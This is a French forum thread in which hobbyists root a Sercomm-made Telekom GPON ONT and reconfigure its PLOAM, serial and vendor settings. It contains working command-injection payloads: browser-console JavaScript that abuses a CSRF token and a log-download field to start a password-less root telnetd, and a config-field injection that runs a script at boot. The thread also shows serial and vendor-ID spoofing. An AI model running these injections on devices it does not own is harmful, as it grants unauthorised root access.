0x000005d20000-0x000005dc0000 : "Rootfs1_Info"
0x000005dc0000-0x000005e60000 : "Lib1_Info"
0x000005e60000-0x000005f00000 : "Rootfs2_Info"
0x000005f00000-0x000005fa0000 : "Lib2_Info"
0x000005fa0000-0x000006220000 : "XMLConfig"
0x000006220000-0x0000064a0000 : "Erasable_XML_CFG"
0x0000064a0000-0x000006e00000 : "AppData"
0x000006e00000-0x000006f40000 : "Yaffs"
0x000006f40000-0x000008000000 : "Reserve"
Donc c'est un bout de code spécifique qui détermine les partitions, le "Kernel boot magic : 0;1;1" vient de "Bootflg".
Dans tous les cas, le bootloader a déjà dû lire Bootflg, pour savoir où charger le kernel (filestruct_full.bin dans Rootfs1 ou Rootfs2).

On peut voir que le boot magic change quand on change du firmware 0 au firmware 1
/usr/www-ap # dmesg | grep magic
Kernel boot magic : 0;1;1
/usr/www-ap # fw_ctl -s
        bootloader0 version:    0100
        valid(fw_0):            1
        bootloader1 version:    0100
        valid(fw_1):            1
        current running fw:     0
        commit fw:              0

------

/usr/www-ap # dmesg | grep magic
Kernel boot magic : 0;2;2
/usr/www-ap # fw_ctl -s
        bootloader0 version:    0100
        valid(fw_0):            1
        bootloader1 version:    0100
        valid(fw_1):            1
        current running fw:     1
        commit fw:              1

ubi0: attaching mtd6
ubi0: scanning is finished
ubi0: attached mtd6 (name "Rootfs1", size 27 MiB)
ubi0: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes
ubi0: min./max. I/O unit sizes: 2048/2048, sub-page size 2048
ubi0: VID header offset: 2048 (aligned 2048), data offset: 4096
ubi0: good PEBs: 220, bad PEBs: 0, corrupted PEBs: 0
ubi0: user volume: 2, internal volumes: 1, max. volumes count: 128
ubi0: max/mean erase counter: 1/0, WL threshold: 4096, image sequence number: 901840304
ubi0: available PEBs: 113, total reserved PEBs: 107, PEBs reserved for bad PEB handling: 5
ubi0: background thread "ubi_bgt0d" started, PID 402
ubi1: attaching mtd7
ubi1: scanning is finished
ubi1: attached mtd7 (name "Lib1", size 12 MiB)
ubi1: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes
ubi1: min./max. I/O unit sizes: 2048/2048, sub-page size 2048
ubi1: VID header offset: 2048 (aligned 2048), data offset: 4096
ubi1: good PEBs: 100, bad PEBs: 0, corrupted PEBs: 0
ubi1: user volume: 1, internal volumes: 1, max. volumes count: 128
ubi1: max/mean erase counter: 1/0, WL threshold: 4096, image sequence number: 309480860
ubi1: available PEBs: 61, total reserved PEBs: 39, PEBs reserved for bad PEB handling: 4
ubi1: background thread "ubi_bgt1d" started, PID 417
block ubiblock0_0: created from ubi0:0(rootfs_ubifs)
VFS: Mounted root (squashfs filesystem) readonly on device 254:0.
devtmpfs: mounted
SC: mount libs(/dev/mtdblock22) to /mnt/rootfs, ret=0
Là encore il y a du code spécifique pour initialiser ubi, l'équivalent de "ubi.mtd=6 ubi.block=0,rootfs_ubifs root=/dev/ubiblock_0_0 ubi.mtd=7".
C'est peut-être gluebi qui crée les mtd20 / mtd21 / mtd22, et bizarrement pour le montage des libs leur code spécifique utilise /dev/mtdblock22 (au lieu de faire "ubi.block=1,lib_squashfs" et d'utiliser /dev/ubiblock_1_0).

Oui quand tu fais un ubiattach -m X il monte des /dev/mtd supplémentaire et il monte des /dev/mtdblockyy ...

Ausi quand tu fais un fw_ctl -c 0 ou 1 il change juste la partition mtd10 "Bootflg"

/usr/www-ap # fw_ctl -c 1
enter real action -----tclen:0x1,tcoffset:0x8
writeflash: write 0 'st sector,start from 0x0,0x1 bytes
writeflash: total write 0x1 bytes
/usr/www-ap # /data/busybox-armv6l head -c 40 /dev/mtd10
eRcOmM.022������������������������������/usr/www-ap #
/usr/www-ap # fw_ctl -c 0
enter real action -----tclen:0x1,tcoffset:0x8
writeflash: write 0 'st sector,start from 0x0,0x1 bytes
writeflash: total write 0x1 bytes
/usr/www-ap # /data/busybox-armv6l head -c 40 /dev/mtd10
eRcOmM.012������������������������������/usr/www-ap #
/usr/www-ap # fw_ctl -c 3
enter real action -----tclen:0x1,tcoffset:0x8
writeflash: write 0 'st sector,start from 0x0,0x1 bytes
writeflash: total write 0x1 bytes
/usr/www-ap # /data/busybox-armv6l head -c 40 /dev/mtd10
eRcOmM.022������������������������������/

il ne change que le 2nd chiffre je ne sais pas ce que represente les 2 autres ...

Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 13 juin 2023 à 03:16:28
Bon sinon j'ai compris le fonctionnement de la config XML utiliser par les fichier JSON/CGI/Web

tu peux avoir toute les config en tapant:
cmld_client get_node InternetGatewayDevice.
ou des sous noeud de config avec
cmld_client get_node  InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.qui renvoit:
<SERCOMM_CML>
        <Element name="X_SC_GponInterfaceConfig." writable="1" ntchange="0" type="object">
                <Element name="X_SC_SerialNumber" writable="1" ntchange="0" value="53434XXXXXXX" type="string"/>
                <Element name="X_SC_DefaultState" writable="1" ntchange="0" value="Standby" enumeration="Standby,Stop" type="string"/>
                <Element name="Status" dynamic="1" ntchange="0" value="" enumeration="Up,Initializing,EstablishingLink,NoSignal,Dormant,Error,Disabled" type="string"/>
                <Element name="RXPower" dynamic="1" ntchange="0" value="" type="string(16)"/>
                <Element name="TXPower" dynamic="1" ntchange="0" value="" type="string(16)"/>
                <Element name="TransceiverTemperature" dynamic="1" ntchange="0" value="0" type="string(16)"/>
                <Element name="CATVRXPower" dynamic="1" ntchange="0" value="" type="string(16)"/>
                <Element name="RFOutputPower" dynamic="1" ntchange="0" value="" type="string(16)"/>
        </Element>
</SERCOMM_CML>

les valeurs writable="1" sont modifiable avec cmld_client set
Les valeurs dynamic="1" sont 'calculées' au moment du cmld_client get ex:
/usr/www-ap # cmld_client get  InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.TXPower
InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.TXPower = 2.32dBm

a priori stocké dans /mnt/xml_config ?

Dans sa globalité la config contient énormement de déchet de toutes les config/router que sercom a pu faire (option wifi, nat, firewal, ....)

Il n'y a pas de trace du ploam password non plus ... je suis toujours obligé de le modifié via un appel curl à router.json je n'ai pas isolé la commande ou le fichier qui le contient...


Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 13 juin 2023 à 04:16:36
il ne change que le 2nd chiffre je ne sais pas ce que represente les 2 autres ...
Le 1er chiffre est écrit par fwctl_set_one_time_active_fw (fw_ctl -a), à priori :
 - 0 => on boot le firmware indiqué par le 2ème chiffre
 - 1/2 => on boot le firmware 0/1 une fois (donc la valeur est donc probablement remise à 0 automatiquement)
C'est pratique pour les tests, une fois que le boot est réussi on peut faire "fw_ctl -c 3" pour rendre le choix permanent (copier le 3ème chiffre dans le second).

Le 2ème chiffre est le firmware choisi ("commit"), écrit par fwctl_set_default_boot (fw_ctl -c).

Le 3ème chiffre est le firmware en cours d'exécution, lu par fwctl_get_running_fw.
D'ailleurs on voit que dans le test fw_ctl ne le change pas, mais "Kernel boot magic : 0;1;1" / "Kernel boot magic : 0;2;2".
Il doit donc être écrit par le CFE ou le kernel, en fonction de la valeur des deux premiers (et peut-être de vérifications de validité).

Il y a un mélange entre deux conventions, fw_ctl et des APIs utilisent 0/1, mais le magic utilise 1/2 (comme les partitions mtd : Rootfs1/Lib1, Rootfs2/Lib2).
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 14 juin 2023 à 20:01:37
Il existe un moyen de faire un appel de script au démarrage si vous voulez que telnet ou un autre service soit démarré à chaque boot. En utilisant un hack de libsl_system.so dans lequel il y a un appel system (hostname %s) utilisant une chaîne en provenance de la config de l'ont, l'appel système est censé définir le nom d'hôte du périphérique pour le partage de stockage si cette entrée existe dans la config. Dans l'exemple ci-dessous, vous devez d'abord créer un script shell /data/up et vous assurer qu'il dispose des droits d'exécution (ex chmod 755) puis crééer l'entrée de config qui déclenchera l'appel system en question. Bref au final ça tient en 3 lignes:

#nous devons d'abord ajouter l'entrée manquante (cmld_client ajoute tout seul tous elements en fonction du schema de la base)
cmld_client add InternetGatewayDevice.Services.StorageService. 1
#puis injectez le nom d'hôte et un appel à notre script après un '&'
cmld_client set InternetGatewayDevice.Services.StorageService.1.X_SC_NetbiosName='a;/data/up&'
cmld_client save
EDIT/ changé l'appel sur suggestion de @hwti

Cet appel arrive au moment du lancement du daemon 'smd' responsable du lancement de tous les daemon / config de l'ONT donc assez tôt dans le processus de boot. D'ailleurs il se lance avant la config vlan/bridge/réseau donc l'ajout de route statique ou de config du bridge devra être retardée ou injecté différemment ou on pourra lancer un script qui s'enregistre aux événements ubus par exemple.

L'important c'était d'avoir au moins 1 point d'entrée dans le boot process ... c'est fait.

au passage je salue à nouveau @hwti pour toutes ses astuces et son temps qui permet d'avancer sur ce projet et de rendre cet ONT de plus en plus intéressant et probablement utilisable chez plusieurs opérateurs maintenant.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 15 juin 2023 à 00:10:53
#nous devons d'abord ajouter l'entrée manquante (cmld_client ajoute tout seul tous elements en fonction du schema de la base)
cmld_client add InternetGatewayDevice.Services.StorageService. 1
#puis injectez le nom d'hôte et un appel à notre script après un '&'
cmld_client set InternetGatewayDevice.Services.StorageService.1.X_SC_NetbiosName='a&/data/up'
cmld_client save
Intéressant comme technique, ça ne m'étonnerait pas qu'on puisse en trouver d'autres encore  8)
L'appel "hostname %s" correspond à "sethostname(name, strlen(name))", s'ils avaient fait directement ça on n'aurait pas cette possibilité de lancement  ;D

En revanche "hostname a&/data/up", ça lance "hostname a" en arrière plan, et /data/up directement.
Donc ça ne fonctionne que si /data/up rend la main, sinon on bloque probablement l'init.
Du coup, est-ce qu'il ne faudrait pas plutôt :
cmld_client set InternetGatewayDevice.Services.StorageService.1.X_SC_NetbiosName='a;/data/up&'
Sinon, même si c'est dans un "StorageService", hostname change le nom d'hôte de l'ONT en général.
Mais ça n'a probablement aucun effet, à moins peut-être qu'on active un client DHCP dans l'ONT (actuellement on utilise son IP fixe 192.168.100.1).
Au pire si le hostname par défaut est autre chose que le "(none)" du kernel, on peut le mettre au début de la chaîne, ou ne rien mettre du tout ("hostname" sans argument affiche la valeur courante) :
cmld_client set InternetGatewayDevice.Services.StorageService.1.X_SC_NetbiosName='>/dev/null;/data/up&'
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 15 juin 2023 à 00:48:09
Intéressant comme technique, ça ne m'étonnerait pas qu'on puisse en trouver d'autres encore  8)
L'appel "hostname %s" correspond à "sethostname(name, strlen(name))", s'ils avaient fait directement ça on n'aurait pas cette possibilité de lancement  ;D

En revanche "hostname a&/data/up", ça lance "hostname a" en arrière plan, et /data/up directement.
Donc ça ne fonctionne que si /data/up rend la main, sinon on bloque probablement l'init.
Du coup, est-ce qu'il ne faudrait pas plutôt :
cmld_client set InternetGatewayDevice.Services.StorageService.1.X_SC_NetbiosName='a;/data/up&'
Sinon, même si c'est dans un "StorageService", hostname change le nom d'hôte de l'ONT en général.
Mais ça n'a probablement aucun effet, à moins peut-être qu'on active un client DHCP dans l'ONT (actuellement on utilise son IP fixe 192.168.100.1).
Au pire si le hostname par défaut est autre chose que le "(none)" du kernel, on peut le mettre au début de la chaîne, ou ne rien mettre du tout ("hostname" sans argument affiche la valeur courante) :
cmld_client set InternetGatewayDevice.Services.StorageService.1.X_SC_NetbiosName='>/dev/null;/data/up&'
Alors techniquement j'avais pas testé cette option car a priori il ya un bug dans cmld_client get qui fait qu'il renvoi du text bizare si la chaine est > 12char ou si le caract!re ";" est présent, d'où le 'a' pour hostname et le script 'up' sans .'sh' pour gagner des caractère. Mais en fait en utilisant get_nodes on voit que la valeur est bien sauvegardée. du coup on peut mettre le hostname qu'on veut et appeler le script qu'on veut, donc oui il vaut mieux faire un 'a;/data/up&'
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: hwti le 15 juin 2023 à 01:03:31
Alors techniquement j'avais pas testé cette option car a priori il ya un bug dans cmld_client get qui fait qu'il renvoi du text bizare si la chaine est > 12char ou si le caract!re ";" est présent, d'où le 'a' pour hostname et le script 'up' sans .'sh' pour gagner des caractère. Mais en fait en utilisant get_nodes on voit que la valeur est bien sauvegardée. du coup on peut mettre le hostname qu'on veut et appeler le script qu'on veut, donc oui il vaut mieux faire un 'a;/data/up&'
OK, donc '>/dev/null;/data/up&' serait trop long ?
On peut toujours mettre ';/data/up&', qui ne change pas non plus le hostname, mais l'affiche sur stdout (la console ou les logs, selon).
Ou si on veut éviter le ";" alors '&&/data/up&' devrait fonctionner aussi.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 15 juin 2023 à 21:00:15
Bon j'ai fini par trouver la méthode pour stocker le ploam_password dans la base de config et qu'il reste après reboot, sans passer par l'UI Web et l'appel POST curl.

La base permet de déclarer des noeud "cachés" qui ne sont pas listés quand on requête les noeuds parents via 'get_nodes' mais uniquement si on connait le nom exact du champ et qu'on utilise "get"....

Le setup le PLOAM password devient:
/usr/bin/cmld_client set InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.X_SC_Password=00000XXXXXXXXXXXXXX
/usr/bin/cmld_client save

Ensuite le plus simple c'est de rebooter... Bien qu'il semble y avoir un mécanisme utilisé par l'UI web pour poster un message ubus qui indique à smd qu'une valeur de config a été modifiée ... Mais ca demanderait du temps d'analyse des sorties de "ubus monitor" et un reverse des différent messages.

Du coup voilà qui conclu la première étape sur l'exploration de cet ONT, nous sommes maintenant capable de changer toutes les valeur OMCI / les serial / les password et accéder en root à un Shell... De quoi tester cet ONT sur tout les opération GPON.... Du coup j'ai poussé une pull request sur GPON Hack avec une documentation mise au propre.


Merci à tous!

Prochaine étape jouer avec IGMP/MLD/IPTV.... et comprendre comment configurer le brdige pour laisser passer les paquets multicast vers le routeur. J'ai déjà trouvé le moyen de démarrer un IGMP proxy avec les mc_forward mais c'est dans un contexte ou on utilise l'ONT en routeur ce qui n'est pas notre cas ici... du coup je continue d'explorer ...


Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 19 juin 2023 à 00:13:12
Alors si je remets la séquence:

une fois que tu as accès à l'ONT en 192.168.100.1, si tu past le code suivant dans la console JS et que ca répond '1' tu devrais avoir un telnet sans mot de passe activé
// Fetch a non csrf protected page to get a csrf token
await fetch("http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html").then(function (response) {
return response.text();
}).then(function (html) {
//inject the html response into a HTML DOM to parse it
    var el = document.createElement( 'html' );
    el.innerHTML = html;
//The token is inserted into the first <script> tag of the page
    var es = el.getElementsByTagName( 'script' );
var aText = es[0].text;
//Add the csrf token in the document for other requests
    document.csrf_token = aText.match("'(.*)'")[1];
}).catch(function (err) {
console.warn('Something went wrong.', err);
});

//use the csrf token to activate telnet with no login and a shell

fetch('http://192.168.100.1/data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token='+document.csrf_token, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
  },
  body: 'applog_select=a;echo "#!/bin/sh" > /tmp/slogin;echo "export PATH=/sbin:/bin:/usr/sbin:/usr/bin:/mnt/rootfs/bin" >> /tmp/slogin;echo "/bin/sh" >> /tmp/slogin;/bin/chmod 755 /tmp/slogin;/usr/sbin/telnetd -l /tmp/slogin'
})
.then(res => res.json())
.then(console.log)

du coup telnet 192.168.100.1 devrait ouvrir un shell sans mot de passe en root

//EDIT avant d'attaquer la remount de cette partition @hwti propose d'essayer directement le fichier /tmp/hw_info/gpon_sn cf https://lafibre.info/remplacer-bbox/test-glasfaser-modem-2-telekom-pour-remplacement-ont-2-5gbe-synchro-ok-ipv4-ok/msg1020441/#msg1020441)

Ensuite dans le shell tu peux remonter la partition avec les S/N en RW:
mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft
je serais d'avis de faire un backup des fichiers du dossier ft au cas ou ...



Dans tous les cas il faut applisquer le PLOAM password (cf methode curl déjà posté dans le thread)

Par contre a chaque reboot faut refaire la manip pour le telnet, le S/N faudra voir quel fichier fonctionne, le PLOAM est sauvé par contre. Tant qu'on a un telnet non secure il ne vaut mieux pas le garder après reboot.
EDIT le fichier a modifier est gpon_sn

Benoit

Voilà.
@mirtouf je ne sais pas si tu planifie un petit test, mais j'ai aussi la liste des paramètred ONT qui peuvent être changés si on passe sur un autre OLT, à priori le telekom modem pourrait être en mode Hawei par defaut ci dessous config/option intéressantes:

                        <Element name="GPON." ntchange="0" type="object">
                                <Element name="DebugMode" writable="1" ntchange="0" value="Disabled" enumeration="Disabled,File,Console,All" type="string"/>
                                <Element name="LogEnable" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="TraceEnable" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="CompatOLT" writable="1" ntchange="0" value="huawei" enumeration="huawei,ericsson,zte,nokia,fiberhome,eltex,str,standard,auto" type="string"/>
                                <Element name="PermanentSense" writable="1" ntchange="0" value="Disabled" enumeration="Disabled,Enabled,Service_Running" type="string"/>
                                <Element name="RogueONT" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="ONTMode" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="TR247Enable" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="IPTVEnable" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="IPTVConfig" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="EricssonONTType" writable="1" ntchange="0" value="" type="unsignedInt"/>
                                <Element name="HuaweiONTType" writable="1" ntchange="0" value="5" type="unsignedInt"/>
                                <Element name="ZteONTType" writable="1" ntchange="0" value="" type="unsignedInt"/>
                                <Element name="AluONTType" writable="1" ntchange="0" value="0" type="unsignedInt"/>
                                <Element name="TrafficMgmtOpt" writable="1" ntchange="0" value="2" type="unsignedInt"/>
                                <Element name="SingleUniEnable" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="RxThreshold" writable="1" ntchange="0" value="-29" type="string"/>
                                <Element name="LoId" writable="1" ntchange="0" value="" type="string(24)"/>
                                <Element name="LoIdPassword" writable="1" ntchange="0" value="" type="string(12)"/>
                                <Element name="L2DataServices" writable="1" ntchange="0" value="Omci" enumeration="Omci,AnyServicesAnyPort" type="string"/>
                                <Element name="OmciVersion" writable="1" ntchange="0" value="161" type="unsignedInt"/>
                                <Element name="IgnoreUniConf" writable="1" ntchange="0" value="1" type="boolean"/>
                                <Element name="WanAutoLearning" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="OmciManageUniMask" writable="1" ntchange="0" value="01000000" type="string"/>
                                <Element name="OmciManageWanMask" writable="1" ntchange="0" value="000000" type="string"/>
                                <Element name="PretendFwVersion" writable="1" ntchange="0" value="FG1000B-SC-113" type="string"/>
                                <Element name="O7Flag" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="MvlanFilterEnable" writable="1" ntchange="0" value="0" type="boolean"/>
                                <Element name="AutoUpgradeFlag" writable="1" ntchange="0" value="1" type="boolean"/>
                        </Element>

paramètre qu'on peut changer avec la commande /usr/bin/cmld_client

exemple pour récupérer un noeud complet

cmld_client get_node InternetGatewayDevice.X_SC_MiscCfg.GPON.

pour mettre une valeur
/usr/www-ap # cmld_client set InternetGatewayDevice.X_SC_MiscCfg.GPON.CompatOLT=auto
OK
/usr/www-ap # cmld_client save
OK
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 22 juin 2023 à 17:17:58
Wouhou la pull request sur gpon hack a été mergé, vous retrouverez toute la doc ici :

https://hack-gpon.org/ont-sercomm-fg1000b-11/

Benoit
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 28 octobre 2023 à 10:47:12
Sans vraiment expliquer et sans savoir si c'est lié, depuis la mise à jour de la bbox avec le dernier firmware dans mon quartier (et le retour du mode jeu d'ailleur sur la bbox ulltym) le combo Telekom modem + R5C nanopi sort du full 2Gbit/s... inexplicable de mon coté rien changé ni mis à jour, mais depuis 3 seamines débits stables et constants.

root@OpenWrt:~# iperf3 -p9240 -c paris.testdebit.info -R -4
Connecting to host paris.testdebit.info, port 9240
Reverse mode, remote host paris.testdebit.info is sending
[  5] local 176.147.227.21 port 49224 connected to 89.84.1.194 port 9240
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-1.00   sec   214 MBytes  1.79 Gbits/sec                 
[  5]   1.00-2.00   sec   230 MBytes  1.93 Gbits/sec                 
[  5]   2.00-3.00   sec   230 MBytes  1.93 Gbits/sec                 
[  5]   3.00-4.00   sec   230 MBytes  1.93 Gbits/sec                 
[  5]   4.00-5.00   sec   230 MBytes  1.93 Gbits/sec                 
[  5]   5.00-6.00   sec   230 MBytes  1.93 Gbits/sec                 
[  5]   6.00-7.00   sec   230 MBytes  1.93 Gbits/sec                 
[  5]   7.00-8.00   sec   230 MBytes  1.93 Gbits/sec                 
[  5]   8.00-9.00   sec   230 MBytes  1.93 Gbits/sec                 
[  5]   9.00-10.00  sec   230 MBytes  1.93 Gbits/sec                 
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.04  sec  2.24 GBytes  1.92 Gbits/sec  1509             sender
[  5]   0.00-10.00  sec  2.23 GBytes  1.92 Gbits/sec                  receiver

Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: Nicolas52 le 24 novembre 2023 à 13:44:26
Bonjour à tous,

Je viens de recevoir mon modem commandé sur Amazon et le cable, j'ai utilisé Burp Proxy et la LED du modem est passé verte immédiatement après le redémarrage. Donc tout est fonctionnel pour moi. Offre BBOX MUST.

Merci beaucoup pour le partage des informations ici :)
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: nague le 15 mai 2024 à 21:00:35
Bonjour à tous,
Je viens de recevoir mon ONT Glasfaser pour remplacer l'ONT Huawei (surtout en prévision d'un remplacement de BBox).
J'ai suivi la méthode suivante pour mettre le PLOAM en reprenant l'IMEI:
/usr/bin/cmld_client set InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.X_SC_Password=00000XXXXXXXXXXXXXX
/usr/bin/cmld_client save
J'ai rebooté, branché la fibre, mais je reste à l'étape 3:
/usr/www-ap #  /bin/gponctl getstate

======== Control State Status ========

   Administrative state: ON
   Operational    state: SERIAL NUMBER (O3)

======================================
Puis ça repart en boucle... Bref, pas de synchro.
J'ai vérifié avec la commande gponctl getSnPwd le password est correct.
Je sèche un peu, qu'est-ce que j'ai pu oublier ?
(j'ai déjà relu 3x l'IMEI car les 0 et les 8 se ressemblent beaucoup)
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 15 mai 2024 à 21:08:11
Il est possible que tu sois sur un ont nécessitant le serial
Number en plus du ploam. Tu peux tester sans  rebooter en. Utilisant la séquence
/bin/gponctl stop
/bin/gponctl setSnPwd --pwd 00-00-0X-XX-XX-XX-XX-XX-XX-XX --sn YY-YY-YY-YY-YY-YY-YY-YY
/bin/gponctl start

Cette séquence n’est pas sauvegardée mais te permet au moins de tester sans rebooter…sur goon hack tu trouvera le moyen de sauvegarder le s/n si le test est concluant.
Pour le sn  j’ai jamais eu à le trouver de mon côté mais probablement j’essaierai celui listé dans l’interface bbix ou sur ll’etiquette de l’ont huawei.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: nague le 15 mai 2024 à 21:39:41
Merci Benoit pour ton aide. J'ai repris le S/N de l'étiquette du Huawei. Sans succès.
J'hésite à factory reset l'ONT Huawei pour m'y connecter en http afin de vérifier les informations de l'étiquette. Je ne sais pas si cette opération est risquée, l'ONT va-t-il bien ensuite se reconnecter et se reparamétrer.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 15 mai 2024 à 22:11:47
Autre question sur les offre ultym le ploam est l’imei de la box or sur les abonnement avec ont externe il est autonome pour se connecter quelque soit la box … du coup est ce que le ploam n’est pas lplutôt un élément de l’ont ? Genre sa mac ou son numéro de série ou autre ?
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: nague le 15 mai 2024 à 22:59:45
Je suis effectivement parti du principe qu'il fallait utiliser l'IMEI de l'ONT Huawei en PLOAM (il n'y a pas d'IMEI sur les BBox Sagemcom), du moins c'est ce que j'ai compris en lisant ce forum https://lafibre.info/remplacer-bbox/routeur-sfp-pour-remplacer-bbox-fibre-ont/
En relisant cette discussion, j'ai l'impression que Mirtouf avait le même problème, et qu'un mode de fonctionnement spécifique pourrait être utilisé côté OLT.
Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 16 mai 2024 à 10:04:17
Je suis effectivement parti du principe qu'il fallait utiliser l'IMEI de l'ONT Huawei en PLOAM (il n'y a pas d'IMEI sur les BBox Sagemcom), du moins c'est ce que j'ai compris en lisant ce forum https://lafibre.info/remplacer-bbox/routeur-sfp-pour-remplacer-bbox-fibre-ont/
En relisant cette discussion, j'ai l'impression que Mirtouf avait le même problème, et qu'un mode de fonctionnement spécifique pourrait être utilisé côté OLT.


Par conséquent, cela laisse plusieurs combinaisons à tester :
- le vendor-id (en effet, en discutant avec le support de LeoxLabs, ils m'avaient indiqué qu'il est possible que les OLT réagissent en fonction du vendor-id). Il est donc possible que nous devions, sur les abonnements fit avec ONT HWTC, forcer le vendor-id. Sur le glasfaser, cela devrait être possible en utilisant les valeurs de la table ici https://hack-gpon.org/vendor/ (https://hack-gpon.org/vendor/). Soit en forçant "48575443" pour simuler l'ONT Huawei, soit en forçant "534d4253" (pour SMBS, les SFP utilisés par Bouygues), en combinaison avec
- le PLOAM en mettant 00000<imei ONT>
- le S/N en prenant celui de l'étiquette de l'ONT ?
- l'adresse mac de l'ONT ?
S/N et adresse mac sont modifiables dans le dossier "/dev/mtdblock5 /tmp/var_link_dir/ft" (ne pas oublier de faire une sauvegarde/copie des fichiers avant toute modification de ce dossier !).
/bin/mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft
echo "XXXXXXXXXXXXX" > /tmp/var_link_dir/ft/XXXXX
/bin/mount -o remount,ro /dev/mtdblock5 /tmp/var_link_dir/ft
reboot


Le vendorID s'obtient avec
/usr/sbin/umci_ctl mib get 256
e n'ai pas eu à expérimenter de mon coté pour le modifier, faut tester un peu sur le fonctionnement de la commande /usr/sbin/umci_ctl mib set 256
Mais il y a également d'autre paramètres pour l'ONT dans
/usr/bin/cmld_client get_node InternetGatewayDevice.X_SC_MiscCfg.GPON.Notamment les champs:
"CompatOLT" '(est-ce que tu as bien la valeur "huawei" dans ce champ ?
PretendFwVersion
HuaweiONTType

Les valeurs que j'ai sont celles par défaut il me semble:
<Element name="DebugMode" writable="1" ntchange="0" value="Disabled" enumeration="Disabled,File,Console,All" type="string"/>
<Element name="LogEnable" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="TraceEnable" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="CompatOLT" writable="1" ntchange="0" value="huawei" enumeration="huawei,ericsson,zte,nokia,fiberhome,eltex,str,standard,auto" type="string"/>
<Element name="PermanentSense" writable="1" ntchange="0" value="Disabled" enumeration="Disabled,Enabled,Service_Running" type="string"/>
<Element name="RogueONT" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="ONTMode" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="TR247Enable" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="IPTVEnable" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="IPTVConfig" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="EricssonONTType" writable="1" ntchange="0" value="" type="unsignedInt"/>
<Element name="HuaweiONTType" writable="1" ntchange="0" value="5" type="unsignedInt"/>
<Element name="ZteONTType" writable="1" ntchange="0" value="" type="unsignedInt"/>
<Element name="AluONTType" writable="1" ntchange="0" value="0" type="unsignedInt"/>
<Element name="TrafficMgmtOpt" writable="1" ntchange="0" value="2" type="unsignedInt"/>
<Element name="SingleUniEnable" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="RxThreshold" writable="1" ntchange="0" value="-29" type="string"/>
<Element name="LoId" writable="1" ntchange="0" value="" type="string(24)"/>
<Element name="LoIdPassword" writable="1" ntchange="0" value="" type="string(12)"/>
<Element name="L2DataServices" writable="1" ntchange="0" value="Omci" enumeration="Omci,AnyServicesAnyPort" type="string"/>
<Element name="OmciVersion" writable="1" ntchange="0" value="161" type="unsignedInt"/>
<Element name="IgnoreUniConf" writable="1" ntchange="0" value="1" type="boolean"/>
<Element name="WanAutoLearning" writable="1" ntchange="0" value="0" type="boolean"/>
<Element name="OmciManageUniMask" writable="1" ntchange="0" value="01000000" type="string"/>
